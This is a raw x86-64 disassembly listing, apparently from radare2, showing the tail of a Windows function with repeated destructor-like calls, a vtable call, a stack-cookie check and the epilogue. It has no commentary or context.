test al, al
je 0x1400088cf
call fcn.140006f7c
cmp qword [rbp - 0x38], 8
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
cmovae r8, qword [rbp - 0x50]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.140002e60
xor r8d, r8d
lea rcx, [rbp + 0x1f8]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x238]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x58]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x78]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0x98]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0xb8]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0xd8]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0xf8]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0x118]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x138]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0x158]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x178]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0x198]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x1b8]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rbp + 0x1d8]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
lea rcx, [rbp + 0x38]
mov dl, 1
call fcn.1400235b0
test rbx, rbx
je 0x1400089e9
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax + 0x18]
lea rcx, [rbp + 0x20]
call fcn.140005964
xor r8d, r8d
lea rcx, [rbp + 0x218]
mov dl, 1
call fcn.1400058ac
lea rcx, [rsp + 0x48]
call fcn.140005964
jmp 0x140008a6b
call fcn.140006f7c
cmp qword [rbp - 0x38], 8
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
cmovae r8, qword [rbp - 0x50]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.140002e60
jmp 0x140008a70
call fcn.140006f7c
cmp qword [rbp - 0x38], 8
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
mov r9d, 0x40
cmovae r8, qword [rbp - 0x50]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
xor ecx, ecx
call fcn.140002e60
mov edi, 1
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov dl, 1
call fcn.1400235b0
lea rcx, [rbp - 0x10]
call fcn.140005964
xor r8d, r8d
lea rcx, [rbp - 0x30]
mov dl, 1
call fcn.1400235b0
lea rcx, [rbp + 8]
call fcn.140005964
mov eax, edi
mov rcx, qword [rbp + 0x990]
xor rcx, rsp
call fcn.140036000
lea r11, [rsp + 0xaa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret